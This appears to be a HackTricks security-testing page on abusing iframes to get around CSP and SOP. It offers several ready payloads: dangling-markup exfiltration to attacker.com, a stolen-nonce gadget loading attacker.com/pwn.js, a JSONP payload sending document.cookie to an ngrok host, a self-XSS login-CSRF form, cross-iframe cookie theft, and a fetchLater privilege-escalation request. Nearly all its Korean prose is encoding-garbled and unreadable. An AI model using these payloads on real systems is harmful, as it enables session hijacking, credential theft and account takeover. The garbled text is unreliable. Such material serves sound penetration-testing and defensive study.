Iframes in XSS, CSP and SOP
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Iframes in XSS
iframed ํ์ด์ง์ ๋ด์ฉ์ ๋ํ๋ด๋ ๋ฐฉ๋ฒ์ 3๊ฐ์ง๊ฐ ์์ต๋๋ค:
src๋ฅผ ํตํด URL์ ๋ํ๋ ๋๋ค (URL์ ๊ต์ฐจ ์ถ์ฒ ๋๋ ๋์ผ ์ถ์ฒ์ผ ์ ์์ต๋๋ค)data:ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ๋ด์ฉ์ ๋ํ๋ด๋src- ๋ด์ฉ์ ๋ํ๋ด๋
srcdoc
๋ถ๋ชจ ๋ฐ ์์ ๋ณ์ ์ ๊ทผ
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
์ด์ HTML์ HTTP ์๋ฒ(์: python3 -m http.server)๋ฅผ ํตํด ์ ๊ทผํ๋ฉด ๋ชจ๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ์ ์ ์์ต๋๋ค(์ด๋ฅผ ๋ฐฉ์งํ๋ CSP๊ฐ ์๊ธฐ ๋๋ฌธ์
๋๋ค). ๋ถ๋ชจ๋ ์ด๋ค iframe ์์ secret ๋ณ์๋ฅผ ์ ๊ทผํ ์ ์์ผ๋ฉฐ ์ค์ง if2 ๋ฐ if3 iframe(๊ฐ์ ์ฌ์ดํธ๋ก ๊ฐ์ฃผ๋จ)๋ง์ด ์๋ ์ฐฝ์ secret์ ์ ๊ทผํ ์ ์์ต๋๋ค.
if4๋ null ์ถ์ฒ๋ก ๊ฐ์ฃผ๋๋ค๋ ์ ์ ์ ์ํ์ธ์.
CSP๊ฐ ์๋ Iframes
Tip
๋ค์ ์ฐํ์์ iframed ํ์ด์ง์ ๋ํ ์๋ต์ JS ์คํ์ ๋ฐฉ์งํ๋ CSP ํค๋๊ฐ ํฌํจ๋์ด ์์ง ์๋ค๋ ์ ์ ์ ์ํ์ธ์.
script-src์ self ๊ฐ์ data: ํ๋กํ ์ฝ์ด๋ srcdoc ์์ฑ์ ์ฌ์ฉํ์ฌ JS ์ฝ๋๋ฅผ ์คํํ๋ ๊ฒ์ ํ์ฉํ์ง ์์ต๋๋ค.
๊ทธ๋ฌ๋ CSP์ none ๊ฐ์กฐ์ฐจ๋ src ์์ฑ์ URL(์ ์ฒด ๋๋ ๊ฒฝ๋ก๋ง) ์ ๋ฃ์ iframe์ ์คํ์ ํ์ฉํฉ๋๋ค.
๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด ํ์ด์ง์ CSP๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
์ด์ CSP๋ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ์ ์คํ๋ง ํ์ฉํฉ๋๋ค.
๊ทธ๋ฌ๋ ์ค์ง if1๊ณผ if2 ์คํฌ๋ฆฝํธ๋ง ์คํ๋์ง๋ง, if1๋ง ๋ถ๋ชจ ๋น๋ฐ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
.png)
๋ฐ๋ผ์ ์๋ฒ์ JS ํ์ผ์ ์
๋ก๋ํ๊ณ iframe์ ํตํด ๋ก๋ํ ์ ์๋ค๋ฉด CSP๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. script-src 'none'์ผ์ง๋ผ๋ ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ ๋์ผ ์ฌ์ดํธ JSONP ์๋ํฌ์ธํธ๋ฅผ ์
์ฉํ์ฌ๋ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
๋ค์ ์๋๋ฆฌ์ค๋ก ํ
์คํธํ ์ ์์ต๋๋ค. ์ฟ ํค๊ฐ script-src 'none'์ผ์ง๋ผ๋ ๋๋๋นํฉ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์
์ ์คํํ๊ณ ๋ธ๋ผ์ฐ์ ๋ก ์ ๊ทผํ์ธ์:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
New (2023-2025) CSP ์ฐํ ๊ธฐ์ with iframes
์ฐ๊ตฌ ์ปค๋ฎค๋ํฐ๋ ์ ํ์ ์ธ ์ ์ฑ ์ ๋ฌด๋ ฅํํ๊ธฐ ์ํด iframes๋ฅผ ์ ์ฉํ๋ ์ฐฝ์์ ์ธ ๋ฐฉ๋ฒ์ ๊ณ์ ๋ฐ๊ฒฌํ๊ณ ์์ต๋๋ค. ์๋๋ ์ง๋ ๋ช ๋ ๋์ ๋ฐํ๋ ๊ฐ์ฅ ์ฃผ๋ชฉํ ๋งํ ๊ธฐ์ ๋ค์ ๋๋ค:
- Dangling-markup / named-iframe ๋ฐ์ดํฐ ์ ์ถ (PortSwigger 2023) โ ์ ํ๋ฆฌ์ผ์ด์
์ด HTML์ ๋ฐ์ํ์ง๋ง ๊ฐ๋ ฅํ CSP๊ฐ ์คํฌ๋ฆฝํธ ์คํ์ ์ฐจ๋จํ ๋, dangling
<iframe name>์์ฑ์ ์ฃผ์ ํ์ฌ ์ฌ์ ํ ๋ฏผ๊ฐํ ํ ํฐ์ ์ ์ถํ ์ ์์ต๋๋ค. ๋ถ๋ถ ๋งํฌ์ ์ด ํ์ฑ๋๋ฉด, ๋ณ๋์ ์ถ์ฒ์์ ์คํ ์ค์ธ ๊ณต๊ฒฉ์ ์คํฌ๋ฆฝํธ๊ฐ ํ๋ ์์about:blank๋ก ํ์ํ๊ณwindow.name์ ์ฝ์ต๋๋ค. ์ด ๊ฐ์ ์ด์ ๋ค์ ์ธ์ฉ ๋ฌธ์๊น์ง์ ๋ชจ๋ ๊ฒ์ ํฌํจํฉ๋๋ค(์: CSRF ํ ํฐ). ํผํด์ ์ปจํ ์คํธ์์ JavaScript๊ฐ ์คํ๋์ง ์๊ธฐ ๋๋ฌธ์, ๊ณต๊ฒฉ์ ์ผ๋ฐ์ ์ผ๋กscript-src 'none'์ ํํผํฉ๋๋ค. ์ต์ํ์ PoC๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
<!-- ๋ฏผ๊ฐํ <script> ๋ฐ๋ก ์์ ์ฃผ์
์ง์ -->
<iframe name="//attacker.com/?"> <!-- ์์ฑ์ด ์๋์ ์ผ๋ก ์ด๋ ค ์์ -->
// attacker.com ํ๋ ์
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // โ ์ ์ถ๋ ๊ฐ
- ๋์ผ ์ถ์ฒ iframe์ ํตํ nonce ๋์ฉ (2024) โ CSP nonce๋ DOM์์ ์ ๊ฑฐ๋์ง ์๊ณ DevTools์์๋ง ์จ๊ฒจ์ง๋๋ค. ๊ณต๊ฒฉ์๊ฐ ๋์ผ ์ถ์ฒ iframe์ ์ฃผ์
ํ ์ ์๋ค๋ฉด(์: HTML์ ์ฌ์ดํธ์ ์
๋ก๋ํ์ฌ) ์์ ํ๋ ์์ ๊ฐ๋จํ
document.querySelector('[nonce]').nonce๋ฅผ ์ฟผ๋ฆฌํ๊ณ ์ ์ฑ ์ ๋ง์กฑํ๋ ์๋ก์ด<script nonce>๋ ธ๋๋ฅผ ์์ฑํ์ฌstrict-dynamic์๋ ๋ถ๊ตฌํ๊ณ ์ ์ฒด JavaScript ์คํ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ๋ค์ ๊ฐ์ ฏ์ ๋งํฌ์ ์ฃผ์ ์ XSS๋ก ์์น์ํต๋๋ค:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- ํผ ์ก์
ํ์ด์ฌํน (PortSwigger 2024) โ
form-action์ง์์ด๋ฅผ ์๋ตํ ํ์ด์ง๋ ์ฃผ์ ๋ iframe์ด๋ ์ธ๋ผ์ธ HTML์์ ๋ก๊ทธ์ธ ํผ์ด ์ฌํ๊ฒํ ๋ ์ ์์ด, ๋น๋ฐ๋ฒํธ ๊ด๋ฆฌ์๊ฐ ์๊ฒฉ ์ฆ๋ช ์ ์ธ๋ถ ๋๋ฉ์ธ์ ์๋์ผ๋ก ์ฑ์ฐ๊ณ ์ ์ถํ๊ฒ ํ ์ ์์ต๋๋ค.script-src 'none'์ด ์กด์ฌํ๋๋ผ๋ ๋ง์ฐฌ๊ฐ์ง์ ๋๋ค. ํญ์default-src๋ฅผform-action์ผ๋ก ๋ณด์ํ์ธ์!
๋ฐฉ์ด ๋ ธํธ (๋น ๋ฅธ ์ฒดํฌ๋ฆฌ์คํธ)
- ๋ณด์กฐ ์ปจํ
์คํธ๋ฅผ ์ ์ดํ๋ ๋ชจ๋ CSP ์ง์์ด(
form-action,frame-src,child-src,object-src๋ฑ)๋ฅผ ํญ์ ์ ์กํ์ธ์. - nonce๊ฐ ๋น๋ฐ์ด๋ผ๊ณ ์์กดํ์ง ๋ง์ธ์โ
strict-dynamic๋ฐ ์ฃผ์ ์ง์ ์ ์ ๊ฑฐํ์ธ์. - ์ ๋ขฐํ ์ ์๋ ๋ฌธ์๋ฅผ ํฌํจํด์ผ ํ ๊ฒฝ์ฐ
sandbox="allow-scripts allow-same-origin"์ ๋งค์ฐ ์กฐ์ฌ์ค๋ฝ๊ฒ ์ฌ์ฉํ์ธ์(์คํฌ๋ฆฝํธ ์คํ ๊ฒฉ๋ฆฌ๋ง ํ์ํ๋ค๋ฉดallow-same-origin์์ด ์ฌ์ฉ). - ๋ฐฉ์ด ์ฌํ COOP+COEP ๋ฐฐํฌ๋ฅผ ๊ณ ๋ คํ์ธ์; ์๋ก์ด
<iframe credentialless>์์ฑ(ยง ์๋)์ ์ 3์ ์๋ฒ ๋๋ฅผ ๊นจ๋จ๋ฆฌ์ง ์๊ณ ๋ ๊ทธ๋ ๊ฒ ํ ์ ์๊ฒ ํด์ค๋๋ค.
Other Payloads found on the wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
iframe ๋ด์ ์ฝํ
์ธ ๋ sandbox ์์ฑ์ ์ฌ์ฉํ์ฌ ์ถ๊ฐ ์ ํ์ ๋ฐ์ ์ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ด ์์ฑ์ ์ ์ฉ๋์ง ์์ผ๋ฉฐ, ์ด๋ ์ ํ์ด ์์์ ์๋ฏธํฉ๋๋ค.
์ฌ์ฉ๋ ๋, sandbox ์์ฑ์ ์ฌ๋ฌ ๊ฐ์ง ์ ํ์ ๋ถ๊ณผํฉ๋๋ค:
- ์ฝํ ์ธ ๋ ๊ณ ์ ํ ์ถ์ฒ์์ ์จ ๊ฒ์ฒ๋ผ ์ทจ๊ธ๋ฉ๋๋ค.
- ์์์ ์ ์ถํ๋ ค๋ ๋ชจ๋ ์๋๊ฐ ์ฐจ๋จ๋ฉ๋๋ค.
- ์คํฌ๋ฆฝํธ ์คํ์ด ๊ธ์ง๋ฉ๋๋ค.
- ํน์ API์ ๋ํ ์ ๊ทผ์ด ๋นํ์ฑํ๋ฉ๋๋ค.
- ๋งํฌ๊ฐ ๋ค๋ฅธ ๋ธ๋ผ์ฐ์ง ์ปจํ ์คํธ์ ์ํธ์์ฉํ๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค.
<embed>,<object>,<applet>๋๋ ์ ์ฌํ ํ๊ทธ๋ฅผ ํตํ ํ๋ฌ๊ทธ์ธ ์ฌ์ฉ์ด ๊ธ์ง๋ฉ๋๋ค.- ์ฝํ ์ธ ์์ฒด๊ฐ ์ฝํ ์ธ ์ ์ต์์ ๋ธ๋ผ์ฐ์ง ์ปจํ ์คํธ๋ฅผ ํ์ํ๋ ๊ฒ์ด ๋ฐฉ์ง๋ฉ๋๋ค.
- ๋น๋์ค ์ฌ์์ด๋ ์์ ์ปจํธ๋กค์ ์๋ ํฌ์ปค์ค์ ๊ฐ์ด ์๋์ผ๋ก ํธ๋ฆฌ๊ฑฐ๋๋ ๊ธฐ๋ฅ์ด ์ฐจ๋จ๋ฉ๋๋ค.
Tip: ์ต์ ๋ธ๋ผ์ฐ์ ๋ allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation ๋ฑ๊ณผ ๊ฐ์ ์ธ๋ถํ๋ ํ๋๊ทธ๋ฅผ ์ง์ํฉ๋๋ค. ์ด๋ฅผ ์กฐํฉํ์ฌ ์๋ฒ ๋๋ ์ ํ๋ฆฌ์ผ์ด์
์ ํ์ํ ์ต์ํ์ ๊ธฐ๋ฅ๋ง ๋ถ์ฌํ์ญ์์ค.
์์ฑ์ ๊ฐ์ ๋ชจ๋ ์์ ์ ํ์ ์ ์ฉํ๊ธฐ ์ํด ๋น์๋ ์ ์์ต๋๋ค (sandbox=""). ๋๋ ํน์ ์ ํ์์ iframe์ ๋ฉด์ ํ๋ ๊ณต๋ฐฑ์ผ๋ก ๊ตฌ๋ถ๋ ๊ฐ ๋ชฉ๋ก์ผ๋ก ์ค์ ํ ์ ์์ต๋๋ค.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Credentialless iframes
As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
Since Chrome 110 (2023๋ 2์)๋ถํฐ ์ด ๊ธฐ๋ฅ์ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์์ต๋๋ค and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: โa mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real originโ. Consequences for attackers and defenders:
- Scripts in different credentialless iframes ์ฌ์ ํ ๋์ผํ ์ต์์ ์ถ์ฒ๋ฅผ ๊ณต์ ํ๋ฉฐ DOM์ ํตํด ์์ ๋กญ๊ฒ ์ํธ์์ฉํ ์ ์์ด ๋ค์ค iframe self-XSS ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํด์ง๋๋ค (์๋ PoC ์ฐธ์กฐ).
- Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session โ CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
- Pop-ups spawned from a credentialless iframe get an implicit
rel="noopener", breaking some OAuth flows.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit example: Self-XSS + CSRF
์ด ๊ณต๊ฒฉ์์ ๊ณต๊ฒฉ์๋ 2๊ฐ์ iframe์ด ์๋ ์ ์ฑ ์นํ์ด์ง๋ฅผ ์ค๋นํฉ๋๋ค:
- CSRF๊ฐ XSS๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋
credentiallessํ๋๊ทธ๊ฐ ์๋ ํผํด์์ ํ์ด์ง๋ฅผ ๋ก๋ํ๋ iframe (์ฌ์ฉ์์ ์ฌ์ฉ์ ์ด๋ฆ์์ Self-XSS๋ฅผ ์์ํด ๋ณด์ธ์):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- ์ค์ ๋ก ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋ค๋ฅธ iframe (
credentiallessํ๋๊ทธ ์์ด).
๊ทธ๋ฐ ๋ค์, XSS์์ ๋์ผํ SOP๋ฅผ ๊ฐ์ง๋ฏ๋ก ๋ค๋ฅธ iframe์ ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ์๋ฅผ ๋ค์ด ์ฟ ํค๋ฅผ ํ์น๋ ๊ฒ์ ์คํํ ์ ์์ต๋๋ค:
alert(window.top[1].document.cookie);
fetchLater ๊ณต๊ฒฉ
์ด ๊ธฐ์ฌ์์ ์ธ๊ธ๋ ๋ฐ์ ๊ฐ์ด, API fetchLater๋ ์์ฒญ์ ๋์ค์ ์คํ๋๋๋ก ๊ตฌ์ฑํ ์ ์๊ฒ ํด์ค๋๋ค(ํน์ ์๊ฐ ํ). ๋ฐ๋ผ์, ์ด๋ ์๋ฅผ ๋ค์ด, ํผํด์๋ฅผ ๊ณต๊ฒฉ์์ ์ธ์
๋ด์์ ๋ก๊ทธ์ธ์ํค๊ณ (์๊ธฐ XSS๋ฅผ ํตํด), fetchLater ์์ฒญ์ ์ค์ ํ์ฌ(์๋ฅผ ๋ค์ด ํ์ฌ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๊ธฐ ์ํด) ๊ณต๊ฒฉ์์ ์ธ์
์์ ๋ก๊ทธ์์ํ๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์, ํผํด์๋ ์์ ์ ์ธ์
์ ๋ก๊ทธ์ธํ๊ณ fetchLater ์์ฒญ์ด ์คํ๋์ด ํผํด์์ ๋น๋ฐ๋ฒํธ๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ค์ ํ ๋น๋ฐ๋ฒํธ๋ก ๋ณ๊ฒฝ๋ฉ๋๋ค.
์ด๋ ๊ฒ ํ๋ฉด ํผํด์์ URL์ด iframe์์ ๋ก๋๋ ์ ์๋๋ผ๋(CSP ๋๋ ๊ธฐํ ์ ํ์ผ๋ก ์ธํด), ๊ณต๊ฒฉ์๋ ์ฌ์ ํ ํผํด์์ ์ธ์ ์์ ์์ฒญ์ ์คํํ ์ ์์ต๋๋ค.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes in SOP
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
References
- PortSwigger Research โ Using form hijacking to bypass CSP (March 2024)
- Chrome Developers โ Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


